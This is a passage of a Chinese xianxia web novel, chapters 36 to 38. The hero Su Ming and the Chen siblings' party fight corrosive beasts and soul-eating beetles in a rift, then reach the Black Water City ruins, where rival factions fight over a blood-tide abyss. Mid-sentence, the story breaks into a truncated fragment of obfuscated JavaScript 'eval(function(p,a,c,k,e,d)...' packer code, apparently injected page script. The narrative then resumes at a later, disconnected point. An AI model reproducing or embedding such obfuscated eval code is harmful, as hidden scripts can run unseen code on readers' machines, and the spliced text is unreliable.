苏明犹豫了一下,从背包里拿出那个仪器箱,打开能量探测。屏幕上波纹剧烈跳动,显示周围能量场极度混乱,但有几个方向的能量波动相对“有序”一些,似乎被人为梳理过,或者有强大的能量源在那边。 他选了其中一个能量波动最强、也最“有序”的方向,小心地走了过去。同时,他将一张“金光护身符”扣在手中,随时准备激发。 通道狭窄而曲折,岩壁湿滑,长满了发光的苔藓。脚下是深浅不一的水洼,水是黑色的,散发着腥臭味。每隔一段距离,岩壁上就会出现一些模糊的、像是人工开凿的痕迹,还有早已风化得看不清的古老符号。 这里,似乎曾经有过文明的痕迹,但早已被时间和阴煞之气侵蚀殆尽。 走了约莫一炷香时间,前方通道出现了岔路。一条继续向前,另一条向右拐,更狭窄。脚印在这里也分开了。 苏明停下,仔细感知。右边的通道里,传来一丝极其微弱的、带着暖意的能量波动,与周围阴冷的环境格格不入。是阳属性的东西?还是……人? 他犹豫了一下,决定去右边看看。如果是陈刚他们,或者阿九,或许能暂时结伴。如果是“判官”的人……那就见机行事。 他悄然拐进右边的通道。通道更窄,仅容一人通过,岩壁上的发光苔藓也更稀少,光线更暗。他放轻脚步,将“敛息术”运转到极致,同时“灵目术”全力开启,在黑暗中勉强视物。 又走了几十米,前方隐约有说话声传来,很低,但在寂静的通道中格外清晰。 “……罗盘指示越来越弱了,这鬼地方干扰太大。” “小心点,我感觉不太对劲,刚才好像有什么东西过去了。” 是陈刚和陈静的声音!还有他们的同伴。 苏明心中一动,正要出声,忽然,他感觉到前方通道的阴影里,有什么东西,猛地动了一下! 紧接着,一声短促的、充满惊骇的惨叫响起!是陈刚那边一个同伴的声音! “什么东西?!” “警戒!” “照亮!快!” 陈刚的怒吼和同伴的惊呼混杂在一起,同时响起了兵刃出鞘和法术激发的光芒! 苏明不再隐藏,脚下《踏云步》发动,瞬间冲了过去! 拐过一个弯,眼前豁然开朗,是一个稍大些的洞穴。陈刚、陈静和另外两男一女背靠背站在一起,手中兵器出鞘,身上灵力闪烁,神色惊骇。地上,躺着刚才发出惨叫的那个男同伴,胸口有一个碗口大的血洞,正汩汩往外冒血,人已经没了气息。血洞边缘焦黑,仿佛被什么东西腐蚀过。 而在他们周围,黑暗中,亮起了十几对幽绿色的、充满贪婪和恶意的“眼睛”! 37. 裂隙深处 苏明冲进洞穴的瞬间,那些幽绿色的“眼睛”猛地转向他,伴随着一片令人牙酸的、仿佛铁片刮擦岩石的嘶嘶声。借着陈刚他们身上散发的灵力微光和四周岩壁苔藓的幽蓝冷光,他终于看清了那些东西的样子。 那是一种难以用语言形容的怪物。大约半人高,四肢着地,身体像是某种节肢动物和腐烂肉块的混合体,覆盖着暗沉、湿滑、如同铁锈般的甲壳,甲壳缝隙里不断渗出粘稠的黑色液体。头部没有明显的五官,只有一张布满螺旋状利齿的、占据了大半个脑袋的口器,此刻正滴落着腥臭的涎液。幽绿的光芒,正是从它们口器深处散发出来的。 它们动作快得惊人,如同鬼魅般在岩壁和地面弹跳移动,留下一道道粘稠的黑色痕迹。 是阴兽!被此地浓郁的阴煞死气侵蚀、变异而成的怪物!而且不止一只,足有十几只,从四面八方的阴影和岩缝中钻出,将陈刚几人和刚冲进来的苏明隐隐围在中间。 “小心!是蚀骨阴虿!甲壳坚硬,口器能喷吐腐蚀毒液,牙齿和爪子也带剧毒!”陈刚厉声喝道,手中一柄短剑上亮起淡淡的土黄色光芒,显然也修炼了某种土行功法。他反手一剑,将一只扑向他面门的阴虿劈飞出去,剑刃与甲壳碰撞,竟然溅起一溜火星! 陈静手持一把造型古朴的、刻满符文的银色短矛,矛尖吞吐着锐利的银芒,身法灵动,与另一只阴虿周旋。另外一男一女(剩下的两个同伴)也各自施展手段,男的用一把鬼头刀,刀身缠绕着风雷之声,女的则手持一对分水刺,动作迅捷,显然也都有修为在身。 但这些阴虿数量太多,速度又快,而且悍不畏死。加上刚才瞬间被偷袭杀死一人,陈刚几人明显有些慌乱,配合也出现了破绽。 “嗤——!” 一只阴虿猛地从侧后方扑向那个用分水刺的女子,口器张开,一道墨绿色的毒液箭矢般射出!女子惊呼一声,回身格挡已是不及! 就在毒液即将临身的刹那,苏明动了。他早已扣在手中的“金光护身符”瞬间激发,化作一道淡金色的光罩,挡在了女子身前! “滋滋……” 毒液射在光罩上,发出剧烈的腐蚀声,光罩瞬间黯淡,剧烈波动,但终究没有破碎,为那女子争取到了一线生机。女子趁机向后急退,惊魂未定地看了苏明一眼。 苏明顾不上她,脚下《踏云步》展开,身形如同鬼魅般切入战团。他手中没有兵器,但右手五指之间,早已凝聚了数道锋锐无比的金行灵气,化作无形的“金针”。 “嗖!嗖!嗖!” 他身形连闪,指尖金芒在黑暗中划出数道冰冷的轨迹,精准无比地点在几只阴虿甲壳的接缝处、关节处,或者口器与头部连接的薄弱点! “吱——!” 被点中的阴虿发出尖锐痛苦的嘶鸣,动作瞬间僵硬、迟缓,有些甚至翻滚在地,甲壳缝隙里冒出黑烟。苏明的“金针”虽然不能直接杀死这些防御力惊人的怪物,但足以扰乱它们的行动,破开防御,为陈刚他们创造机会。 “好手段!”陈刚眼睛一亮,精神大振,短剑上土黄色光芒暴涨,一剑将一只被苏明“金针”迟缓的阴虿脑袋整个劈开!腥臭的黑血和粘液喷溅。 陈静也抓住机会,银色短矛如同毒龙出洞,带着破空尖啸,洞穿了另一只阴虿的身体,将它死死钉在岩壁上,矛身银芒爆发,那阴虿剧烈抽搐几下,不动了。 另外两人也回过神来,配合苏明的骚扰,奋力反击。 有了苏明的加入,战局顿时扭转。他身法诡异,总是在阴虿攻击的间隙切入,以精准的“金针”干扰,或者用“炎弹术”进行中程牵制(威力不大,但爆炸的火光和冲击能打乱阴虿阵型)。陈刚几人主攻,很快,十几只蚀骨阴虿就被斩杀殆尽,洞穴里弥漫着浓郁的血腥和焦臭味。 最后一只阴虿被陈刚砍掉脑袋,战斗结束。几人都是气喘吁吁,身上或多或少都挂了彩,沾染了粘液和黑血。苏明也感觉灵力又消耗了不少,左臂伤口隐隐作痛。 “多谢朋友援手!”陈刚收剑,对苏明抱拳,脸上带着感激和后怕,“刚才若不是你,我们恐怕……” “客气了,同舟共济。”苏明摆摆手,目光扫过地上那个胸口被洞穿、已经死透的同伴,又看向陈刚,“节哀。此地不宜久留,血腥味可能会引来更多东西。” 陈刚脸色一黯,点了点头,和那名用分水刺的女子一起,快速将同伴的尸体用一张防水布裹好,暂时放在角落,做了个简单的标记。显然,他们没打算现在带走尸体。 “我是陈刚,这是我妹妹陈静,这两位是赵峰,孙倩。”陈刚快速介绍,“兄弟怎么称呼?” “周明。”苏明用了假名。 “周兄弟身手了得,刚才那金针手法和身法,绝非寻常。”陈静擦去短矛上的污血,看着苏明,眼神依旧锐利,但少了几分之前的漠然,多了些探究。 “一点家传微末伎俩,对付这些怪物正好。”苏明含糊带过,岔开话题,“陈大哥,你们对这里似乎有些了解?刚才你说这是‘蚀骨阴虿’?” 陈刚点头,神色凝重:“我们兄妹祖上有些传承,对这类阴煞之地有些记载。蚀骨阴虿通常只在极阴煞气汇聚之地、并有大量尸骸滋养的地方才会形成。这里……恐怕死过很多人,而且煞气浓郁得超乎想象。刚才我们就是跟着罗盘指引,追踪一股异常的阳气波动,没想到误入了这阴虿的巢穴附近。” 异常的阳气波动?苏明心中一动。难道是他之前感应到的那一丝暖意?可他自己明明是循着能量波动来的……是巧合,还是这裂隙里的能量场太过混乱,干扰了感知? “你们的罗盘还能用吗?”苏明问。 陈静拿出那个古朴罗盘,指针正在疯狂乱转,毫无规律。“干扰太强,基本失灵了。只能凭感觉和……这个。”她说着,从怀里掏出那半块黑色令牌碎片,正是“路引”。“碎片之间有微弱感应,能指向大致方向,但很不清晰。” 苏明也拿出自己的那半块“路引”。两块碎片靠近时,果然产生了一丝极其微弱的吸引力,指向同一个方向——洞穴深处,一条更幽暗、更狭窄的岔路。 “看来,我们要去的地方,是一样的。”苏明看向陈刚。 陈刚看了看苏明手里的碎片,又看了看自己妹妹,沉吟道:“周兄弟也是为了黑水城的‘东西’来的?” “算是吧。找点机缘,也避避祸。”苏明实话实说。 “既然如此,不如暂时联手。”陈刚果断道,“这裂隙里危机四伏,人多力量大。找到地方之后,各凭本事,如何?” 苏明略一思索,点了点头。暂时合作,确实能增加生存几率。至于找到目标后……到时候再说。 “好。” 达成共识,五人简单处理了一下伤口(苏明用“涤尘术”帮他们清理了沾染的毒液污秽,又用自己带的伤药分了分,让陈刚等人对他更添几分感激和好奇),然后稍作休整,便朝着“路引”碎片感应的方向,小心前行。 依旧是苏明打头(他身法好,感知敏锐),陈刚和赵峰(用鬼头刀的男子)居中,陈静和孙倩(用分水刺的女子)殿后。苏明将“敛息术”运转到极致,同时手里扣着“破妄符”和“镇魂铃”,随时准备应对突发状况。 通道越来越狭窄曲折,岩壁上的发光苔藓也越来越稀少,光线昏暗。空气更加阴冷潮湿,那股陈年血锈般的腥气,混合着一种淡淡的、类似麝香却又令人作呕的怪味,越来越浓。 脚下的路也变得崎岖不平,布满了湿滑的苔藓和尖锐的碎石。不时能听到远处传来隐约的、非人的嘶吼或摩擦声,但都一闪即逝,无法判断方向和距离。 “停!”走在最前面的苏明突然举手,低声道。 众人立刻停下,屏住呼吸。前方通道拐角处,传来一阵极其轻微的、悉悉索索的声音,像是很多细小的脚在爬行。 苏明示意众人后退,自己悄然摸到拐角,探出半个脑袋,用“灵目术”望去。 只见前方通道豁然开朗,是一个更大的天然洞穴。洞穴中央,竟然有一片不大的、水色漆黑如墨的水潭!水潭波澜不兴,死寂无声,但水面上漂浮着缕缕惨白色的、如同烟雾般的寒气。水潭周围,散落着一些破碎的、像是石雕或者建筑构件的东西,上面刻满了早已模糊的诡异符文。 而在水潭边缘的岩石上,爬满了密密麻麻、巴掌大小、通体漆黑、背上有着暗红色扭曲花纹的甲虫!正是这些甲虫爬行时发出的悉索声。它们似乎对水潭极为畏惧,只在边缘活动,不敢靠近水面。 “是‘蚀魂甲虫’!”陈静在后面低声惊呼,声音带着一丝恐惧,“千万别惊动它们!这东西单个威胁不大,但一旦成群惊动,会疯狂攻击靠近的一切活物,口器能分泌蚀魂毒液,专伤神魂!” 蚀魂甲虫?苏明看着那黑压压一片,恐怕不下数千只,头皮也有些发麻。硬闯肯定不行。 “绕路?”陈刚问。 苏明看了看“路引”碎片,感应的方向,赫然指向水潭对面的另一条通道。必须穿过这个洞穴。 “水潭有古怪,这些甲虫不敢靠近。或许……水潭是某种禁制,或者里面有让它们畏惧的东西。”苏明低声道,“我们从边上,贴着岩壁,动作轻一点,试试能不能绕过去。别碰水,也别惊动虫子。” “只能这样了。”陈刚点头。 五人调整了一下队形,苏明依旧打头,陈刚断后。他们紧贴着冰冷的岩壁,如同壁虎般,一点点朝着水潭侧面挪动。脚下是湿滑的岩石和松动的碎石,每一步都小心翼翼,生怕发出一点声音。 距离那些漆黑的蚀魂甲虫越来越近,甚至能闻到它们身上散发出的、淡淡的腥甜气味。所有人都屏住呼吸,心跳如鼓。 苏明全神贯注,将“龟息术”催发到极致,连体温都开始缓缓下降。他感觉自己的感知在高度紧张下变得更加敏锐,甚至能“听”到那些甲虫节肢摩擦的微响,能“看”到它们背上暗红花纹如同呼吸般微微闪烁。 十米,五米,三米……最边缘的甲虫,距离他们不足一米! 就在他们即将绕过虫群最密集区域的瞬间,异变陡生! “噗通!” 一块被孙倩不小心踩松的碎石,滚落下去,掉进了漆黑的水潭里,发出一声在寂静中格外清晰的轻响。 水潭纹丝不动。但岸边那些蚀魂甲虫,却像是被按下了开关,同时停止了爬行!数千对复眼,齐刷刷地转向了苏明他们所在的方向!背上的暗红花纹,骤然亮起妖异的血光! “不好!被发现了!快跑!”苏明大吼一声,再也顾不得隐蔽,脚下《踏云步》全力爆发,朝着水潭对面的通道口冲去! “吱吱吱——!!” 刺耳尖利的虫鸣瞬间响彻洞穴!如同黑色的潮水,数千只蚀魂甲虫振翅飞起,化作一片遮天蔽日的黑云,带着令人头皮发麻的嗡鸣,朝着五人疯狂扑来!速度之快,远超之前的蚀骨阴虿! “金光护身!”苏明一边狂奔,一边将手中早已准备好的两张“金光护身符”同时激发,一层凝实的金光笼罩全身!同时,他回身,双手连弹,数颗压缩的“炎弹”射向虫群最密集处! “轰轰!” 炎弹炸开,火光吞没了数百只甲虫,空气中弥漫开焦糊的恶臭。但更多的甲虫悍不畏死地穿过火焰,扑了上来,撞在苏明的金光护罩上,发出雨打芭蕉般的密集声响,金光剧烈波动,迅速黯淡! 陈刚几人也各施手段。陈刚短剑挥舞,土黄色剑气纵横,将靠近的甲虫绞碎。陈静银矛如龙,银芒闪烁,穿透力极强。赵峰的鬼头刀带起风雷,刀光如幕。孙倩的分水刺化作点点寒星。 但甲虫实在太多了!而且它们的蚀魂毒液对灵力护罩有额外的腐蚀效果!很快,陈刚、赵峰、孙倩的护体灵光就岌岌可危,身上也被零星甲虫突破防御,咬出了伤口,伤口处立刻传来钻心的、直透灵魂的刺痛和麻木感! “啊!”孙倩惨叫一声,手臂被几只甲虫咬中,动作顿时一滞,更多甲虫蜂拥而上! “倩姐!”陈静惊呼,银矛回救,但也被虫群阻隔。 眼看孙倩就要被虫海吞没,苏明眼中厉色一闪,猛地停下脚步,从怀中掏出了那张刚刚绘制成功、还带着温热和淡淡焦糊气息的“雷火符”! “都闪开!” 他暴喝一声,将所剩不多的灵力,疯狂注入符中,朝着虫群最密集、也是孙倩前方的位置,狠狠掷出! “雷火符,疾!” “轰咔——!!!” 比之前任何爆炸都要猛烈数倍的巨响在洞穴中炸开!炽白的雷光与赤红的火焰交织在一起,形成一股毁灭性的雷火风暴,瞬间将前方数十平米的区域完全吞没!无数蚀魂甲虫在雷火中连惨叫都发不出,就直接化为飞灰!连那漆黑的水潭,都被爆炸的冲击波掀起巨浪,潭水剧烈翻腾,冒出“滋滋”的白烟! 雷火肆虐了数秒才缓缓散去。前方出现一片焦黑的空地,甲虫被清空了大半,剩下的也似乎被这恐怖的威力震慑,暂时不敢靠近,在远处盘旋嘶鸣。 孙倩瘫倒在地,脸色惨白,手臂上几个被咬伤的地方已经变成紫黑色,不断扩散,她眼神涣散,显然神魂受创不轻。 陈刚和赵峰也浑身是伤,气喘吁吁。陈静脸色发白,但还算镇定,连忙扶起孙倩,给她喂下一颗丹药。 苏明也不好受。激发“雷火符”几乎抽干了他最后一点灵力,此刻丹田空空如也,头晕眼花,左臂伤口彻底崩裂,鲜血染红了衣袖。他靠在一块焦黑的岩石上,剧烈喘息,看着远处重新开始汇聚、似乎又要扑上来的虫群,心中一沉。 还没完。 就在这时,那被雷火符炸得翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“叮——!!!” 一道肉眼可见的、银白色的、凝练如实质的镇魂音波,以苏明为中心,轰然爆发!音波所过之处,空气泛起涟漪,连光线都微微扭曲! 那蕴含磅礴巨力砸落的触手,被这专门克制灵体、神魂、阴邪之物的镇魂音波正面冲击,猛地一滞!动作瞬间僵硬、迟缓!触手表面的鳞片似乎都失去了光泽,那些吸盘里的倒钩也停止了蠕动,幽蓝的光芒急速黯淡! “吼——!!!” 一声沉闷、痛苦、仿佛来自九幽地狱的咆哮,从黑水潭深处传来!整个洞穴都在颤抖!那巨大的触手如同被烙铁烫到,疯狂地抽搐、回缩,带起漫天腥臭的潭水,迅速缩回了漆黑的潭水之中,只留下岸边一片狼藉和不断扩散的涟漪。 远处盘旋的蚀魂甲虫,似乎也被这蕴含星力的镇魂铃响彻底震慑,发出惊恐的嘶鸣,如同潮水般退去,眨眼间消失在岩壁的缝隙和阴影中,不见了踪影。 洞穴里,恢复了死寂。只有五人粗重惊恐的喘息声,和水潭渐渐平息的涟漪声。 苏明瘫坐在地上,脸色惨白如纸,嘴角溢出一缕鲜血。刚才强行抽取星力和透支灵力催动“镇魂铃”,让他经脉剧痛,神魂震荡,伤上加伤。星髓也变得黯淡无光,需要时间恢复。 陈刚、陈静、赵峰三人相互搀扶着站起来,看着苏明的眼神,充满了震撼和后怕。刚才那一下,如果不是苏明拼命,他们所有人都得死。 孙倩依旧昏迷,但紫黑色的伤口似乎没有再扩散,陈静正在给她紧急处理。 “周、周兄弟……你没事吧?”陈刚声音干涩,带着一丝敬畏。 “还……死不了。”苏明艰难地吐出几个字,又咳出一口血沫。他感觉眼前阵阵发黑,连忙又吞下一颗益气丹,运转功法,引导药力,稳住伤势。 休息了约莫一刻钟,苏明才勉强恢复了一点行动力。他看向那重新恢复死寂的黑水潭,心有余悸。那潭底的东西,绝对不是他们现在能对付的。必须尽快离开。 “路引碎片……”苏明看向陈静。 陈静拿出碎片,感应了一下,指向水潭对面那条通道:“感应更清晰了,就在那边。” 五人不敢耽搁,互相搀扶着,以最快的速度,绕开黑水潭,冲进了对面的通道。 这条通道似乎向上倾斜,走了没多久,前方隐约出现了微弱的天光!不是苔藓的幽光,更像是……月光? 他们加快脚步,又转过一个弯,眼前豁然开朗! 通道尽头,是一个巨大的、半露天的穹顶空间!头顶是裂隙的岩层,但裂开了一道巨大的缝隙,清冷的月光如同水银般倾泻而下,照亮了下方一片令人震撼的景象。 那是一片巨大的、被废弃了不知多少年的古代城池遗迹! 残破的石墙,倒塌的宫殿,断裂的石柱,雕刻着诡异图案的祭坛……一切都被厚厚的尘埃和黑色的、仿佛污血凝结而成的物质覆盖。空气中弥漫着浓得化不开的阴煞死气,比之前任何地方都要浓郁数倍!但在这片死气之中,又隐隐透出一丝古老、苍凉、甚至……神圣的气息?矛盾而诡异。 而在废墟的中央,最引人注目的是一个巨大的、深不见底的垂直深渊!深渊边缘用某种黑色的金属箍着,上面刻满了密密麻麻、令人看一眼就头晕目眩的符文。深渊中不断向上喷涌着灰黑色的、如同实质的阴煞之气,在月光下扭曲翻滚,仿佛连接着九幽地狱。 这里,就是黑水城的核心区域?那个深渊,就是“裂隙”的真正源头? 而在深渊周围,以及废墟的各处,已经有人了。 苏明看到了最先进入的那批“影流会”的黑衣人,他们聚集在深渊东侧,那个戴着金属面具的中年人正背对着他们,仰望着深渊,似乎在感应什么。他身边,多了几个人,气息都不弱。 西侧,是另一批人,穿着打扮各异,有僧有道,有老有少,大约十几人,分成几个小团体,彼此戒备,也都在观察着深渊和废墟。 南侧靠近苏明他们出来的通道口附近,站着几个人,赫然是阿九!她依旧是那身装扮,独自一人,靠在一根断裂的石柱上,双手抱胸,帽兜下的目光似乎正看向苏明他们这边。在她不远处,还有几个零散的、看起来像是独行侠的人。 北侧似乎还没人。 苏明他们的出现,立刻引起了各方注意。数十道目光齐刷刷地投射过来,带着审视、警惕、冷漠,甚至……杀意。 苏明心中一凛。最危险的地方,到了。 而且,他感觉到,怀中那半块“路引”碎片,在此地变得异常灼热,与陈静手中的那块,以及阿九手中的那块,彼此之间的感应,强烈到了几乎要破体而出的程度! 同时,他还感觉到,背包最底层,那个被重重包裹的天师法印,也在此刻,微微地、不受控制地颤动起来,仿佛在呼应着什么。 黑水城,到了。 而真正的争夺,即将开始。 38. 黑水城 月光惨白,像一层冰凉的尸衣,盖在这片死寂的古代废墟上。苏明站在通道口,感觉自己像闯进了一个巨人的坟场,空气中沉甸甸的阴煞死气压得人喘不过气,可废墟深处又隐隐有股说不清道不明的古老威压,像垂死巨兽的呼吸,沉重,缓慢,带着腐朽的威严。 身边陈刚几人也是脸色煞白,孙倩还在昏迷,被赵峰半背半拖着。陈静紧握着那半块“路引”,指节发白,望向废墟中央那口喷涌着灰黑气柱的深渊,眼神里有震惊,也有不易察觉的火热。 “终于……到了。”陈刚低声说,声音干涩。 是啊,到了。可到了之后呢?苏明目光扫过废墟各处。东边那群黑衣人,气息阴冷扎堆,像一群秃鹫。西边那十几号人,三三两两,彼此提防,眼神乱瞟。南边,阿九独自靠着断柱,帽檐低垂,看不清表情,但苏明能感觉到,她的目光钉子一样钉在自己身上。还有几个零散人影,藏在更深的阴影里,像伺机而动的鬣狗。 怀里的“路引”碎片烫得像块火炭,和背包里天师法印的轻微颤动一唱一和,都在死命把他往那口深渊的方向拽。 “先找地方落脚,倩姐需要立刻疗伤。”陈静收回目光,语气恢复了冷静,但透着疲惫。 几人互相搀扶,尽量不引起注意,朝着废墟边缘一处相对完整、背靠断墙的半塌石屋挪去。石屋里积着厚厚的灰,散落着破碎的陶罐和朽烂的木器。他们把孙倩小心放下,陈静立刻开始处理她手臂上紫黑溃烂的伤口,用的是另一种散发着清苦药香的丹药粉末,看样子是专门应对神魂和阴毒伤势的。 苏明也靠墙坐下,检查自己。左臂伤口又裂开了,血把绷带浸透,粘在皮肉上,一动就疼得钻心。内腑被“雷火符”和透支“镇魂铃”震得隐隐作痛,经脉里空空荡荡,灵力只剩一丝。星髓在怀里微弱地脉动着,像累坏了的心脏。他吞下最后一颗益气丹,又拿出水壶灌了几口冰冷的水,压下喉头的腥甜。 外面很安静,只有风声穿过断壁残垣的呜咽,和深渊里那股灰黑气柱翻涌的低沉轰鸣。但这份安静底下,紧绷的弦一触即发。 “周兄弟,”陈刚处理完自己手臂上一道被甲虫咬出的伤口,走到苏明旁边坐下,递过来一块用油纸包着的、硬邦邦的肉干,“吃点,恢复体力。刚才……多谢了。要不是你,我们兄妹几个,还有倩姐,都得折在虫子和那怪物手里。” 苏明没客气,接过肉干,撕下一块慢慢嚼着。肉干很咸,很硬,但能提供热量。“陈大哥客气了,互相照应。” “你这手本事,还有那符箓、铃铛……”陈刚看着他,眼神复杂,“不像是寻常跑单帮的。周兄弟,咱们也算共过生死,明人不说暗话,你到底是什么人?来这里,到底求什么?” 苏明嚼肉干的动作停了一下。他知道这个问题迟早要来。陈刚兄妹不傻,刚才他展现出的手段,远超一个普通药材贩子。 “我是什么人,不重要。”苏明咽下肉干,看着陈刚,语气平静,“我来这里,一是避祸,二是想找条能继续走下去的路。陈大哥你们呢?也是为了那深渊里的‘东西’?” 陈刚沉默了一下,看向昏迷的孙倩,又看向远处深渊方向,叹了口气:“我们陈家,祖上曾有人是黑水城的守卫……的后裔。家里传下些零碎记载和半块信物,说这城底下,埋着能洗炼血脉、补全残缺传承的‘源血’和‘古契’。我兄妹二人资质有限,传承有缺,想搏一把。倩姐和峰哥是生死之交,来帮忙。没想到……”他摇摇头,没再说下去。 洗炼血脉?补全传承?苏明心中一动。看来这黑水城,对不同的势力、不同的人,吸引力各不相同。“影流会”要的是“幽冥道”的遗泽和宝物,陈刚他们要的是补全传承的机缘,阿九要找那“裂隙”的线索……那“判官”呢?他大费周章搜集铜镜、卷轴、天师法印,又亲自来这里,所图必定更大。 “那深渊里的东西,不好拿。”苏明看着外面,“这么多人盯着,还有刚才那种怪物……那潭水里的东西,恐怕只是开胃菜。” “我知道。”陈刚点头,神色凝重,“祖籍里提到,黑水城是‘幽冥道’祭祀冥河、沟通阴阳的重地,核心处必有强大禁制和守卫。那深渊,恐怕就是当年‘接引冥河’的‘阴眼’所在。想要靠近,甚至进去,没那么容易。而且……”他压低声音,看向东侧黑衣人方向,“‘影流会’的人,还有那个戴面具的,给我的感觉很不好。他们身上,有和这地方同源的气息……更阴,更邪。” 苏明顺着他的目光看去。那个金属面具男依旧背对着众人,仰望着深渊,一动不动,像尊雕塑。但他周围的空气中,似乎有极淡的黑气缭绕,与深渊喷出的灰黑气息隐隐呼应。 是“判官”吗?还是“影流会”里的高层?苏明握了握拳,左臂伤口传来刺痛。不管是谁,都是敌人。 夜幕渐深,月光偏移。废墟各处燃起了几堆小小的篝火,昏黄的光在浓重的死气中摇曳,像鬼火。没有人交谈,只有柴火偶尔的爆裂声。但那种无形的对峙和压抑,越来越重。 苏明抓紧时间调息恢复。益气丹药力化开,丝丝缕缕的灵气滋润着干涸的经脉。星髓的脉动也稍微有力了些,缓慢地释放着温和的星力,修复着他的暗伤。他一边恢复,一边悄然绘制了几张新的“清心符”和“金光护身符”,虽然品相一般,但聊胜于无。左臂的伤口重新撒药包扎,暂时止住了血。 陈静给孙倩处理完伤口,喂了药,孙倩的呼吸平稳了些,但脸色依旧灰败,没有醒来的迹象。陈静守在她身边,手里握着银矛,警惕地看着外面。 赵峰抱着鬼头刀,靠在门边打盹,但耳朵竖着。 时间一点点过去。下半夜,月亮移到了废墟正上方,清辉如霜,将那口喷涌灰黑气柱的深渊照得格外清晰诡异。 就在这时,深渊中喷涌的灰黑气柱,突然毫无征兆地剧烈翻滚起来!仿佛煮沸的开水,发出沉闷的、如同万鬼哭嚎般的轰鸣!与此同时,整个废墟的地面,开始轻微地震动!碎石和灰尘簌簌落下。 所有人都被惊动,霍然起身,目光齐刷刷投向深渊。 “时辰到了……”有人低声喃喃。 只见那翻腾的灰黑气柱,在月光下,颜色开始发生变化!中心处,一缕暗沉如血的红光,如同有生命的血管,缓缓浮现,并且越来越亮,越来越粗!很快就将大半灰黑气柱染成了暗红色!一股比之前浓郁十倍、暴烈百倍的阴煞、血腥、疯狂的气息,如同火山爆发般从深渊中喷薄而出! “是‘血煞潮汐’!”西侧人群中,一个老道士失声惊呼,声音带着恐惧,“月满阴眼开,血煞涌泉来!快退!离深渊远点!” 然而,已经晚了。 那暗红色的气柱猛地炸开,化作无数道血红色的、如同实质触手般的煞气狂潮,朝着废墟四面八方疯狂席卷、横扫!所过之处,岩石发出“滋滋”的腐蚀声,空气扭曲,温度骤降! “防御!” “结阵!” 惊呼声、怒吼声瞬间响成一片!各色灵光、法器光芒纷纷亮起,抵御着血色煞气的冲击。 苏明在震动开始的瞬间就跳了起来,左手一张“金光护身符”瞬间激发,淡金色光罩笼罩全身,同时右手扣住了“镇魂铃”。陈刚几人也立刻聚拢,陈刚短剑插地,土黄色灵光化作光幕,将几人护在后面。陈静银矛指天,银芒流转。赵峰也挥刀劈散袭来的血煞。 “嗤嗤嗤……” 血色煞气撞击在金色光罩和土黄光幕上,发出刺耳的腐蚀声。光罩和光幕剧烈晃动,光芒迅速黯淡。这血煞的侵蚀力,比之前的阴煞气强了太多!而且其中蕴含着一股疯狂、混乱的意念,不断冲击着心神,让人烦躁欲呕。 苏明感觉脑袋像被重锤敲击,眼前阵阵发黑。他连忙又拍了一张“清心符”在额头,清凉气息涌入,才稍微好受点。他看向外面,只见血色煞气如同狂潮,在废墟中肆虐。几个来不及防御或者防御薄弱的人,瞬间被血煞吞没,发出凄厉的惨叫,身体以肉眼可见的速度干瘪、腐烂,化作白骨,最后连骨头都被腐蚀成渣! 惨叫声此起彼伏。西侧那群散修,瞬间就减员了三四个人,剩下的也狼狈不堪,拼命抵抗。东侧“影流会”的黑衣人,似乎早有准备,几人联手布下一个黑色的、雾气滚滚的光罩,将血煞挡在外面,虽然也晃动不已,但还算稳固。那个金属面具男依旧站在最前方,对汹涌的血煞视若无睹,反而张开双臂,仿佛在拥抱、吸收这些血煞之气!他周身黑气缭绕,与血煞隐隐有融合的迹象。 阿九依旧靠在那根断柱上,但她身体周围三尺,血煞之气却自动绕开,仿佛有一层无形的力场。她抬头看着天空的月亮,又看了看深渊,似乎在计算着什么。 这“血煞潮汐”持续了大约一炷香的时间,才慢慢减弱,最终平息。深渊中喷涌的气息恢复了灰黑色,但颜色似乎更深沉了些。废墟里一片狼藉,又多了几具新鲜的尸骨。 劫后余生的人们,心有余悸,脸色都很难看。但更多的人,目光却更加灼热地投向了深渊——刚才“血煞潮汐”爆发时,深渊边缘,那些黑色金属箍上的符文,在血煞的冲刷下,似乎亮了一下,露出后面更加深邃、更加复杂的纹路。而且,深渊中那股古老、苍凉、甚至神圣的气息,似乎也泄露出来一丝,虽然微弱,却让所有人心头一颤。 “禁制松动了……”有人低语。 就在这时,东侧“影流会”那边,那个金属面具男,终于动了。他缓缓转过身,面向众人。面具下的眼睛,冰冷,漠然,如同看待蝼蚁。他的目光扫过全场,在西侧散修、苏明他们这边、阿九身上都停留了一瞬,最后,竟然直接落在了苏明身上! 苏明浑身一僵,感觉像是被毒蛇盯上,寒意从脚底板直冲头顶。 “钥匙,带来了吗?”金属面具男开口,声音沙哑,带着奇异的金属摩擦感,在寂静的废墟中回荡。 钥匙?苏明心中剧震!他是在说自己,还是天师法印?还是…… 没等苏明回答,金属面具男又看向了陈静手中的“路引”碎片,和阿九的方向:“还有你们,路引的持有者。” 他抬起右手,枯瘦的手指指向深渊:“冥河之眼已开,血煞为引。持有钥匙与完整路引者,可入深渊,得见真章。其余人等……”他顿了顿,声音骤然转冷,带着无边的杀意,“皆为祭品,滋养冥河。” 话音未落,他身后那七八个黑衣人,同时踏前一步,身上黑气暴涨,手中兵器亮起幽光,阴冷的气息锁定了西侧的散修,以及苏明他们这边!显然,他们打算清场,只让“钥匙”和“路引”持有者进入! “妈的!想独吞?没那么容易!”西侧散修中,一个满脸横肉的壮汉怒吼一声,手中一把开山斧抡起,带着开山裂石之势,率先朝着黑衣人冲去!他显然也是炼体有成的修士,气血旺盛,斧风刚猛。 “找死。”一个黑衣人冷哼一声,身形鬼魅般闪出,手中一把漆黑的弯刀划出诡异的弧线,迎向巨斧。 “铛!” 金铁交鸣,火星四溅!壮汉被震得后退两步,黑衣人却纹丝不动,弯刀上黑气缭绕,瞬间缠绕上巨斧,那精钢打造的斧头,竟然发出“滋滋”声响,以肉眼可见的速度被腐蚀出坑洼! “一起上!干掉他们!宝物各凭本事!”散修中又有人鼓噪,十几个人各持兵器,朝着黑衣人冲去。场面瞬间混乱,兵器碰撞声、呼喝声、惨叫声响成一片。 “保护好倩姐!”陈刚对陈静和赵峰低喝一声,短剑一摆,土黄色光芒凝聚,也准备迎敌。一个黑衣人已经狞笑着朝他们扑来。 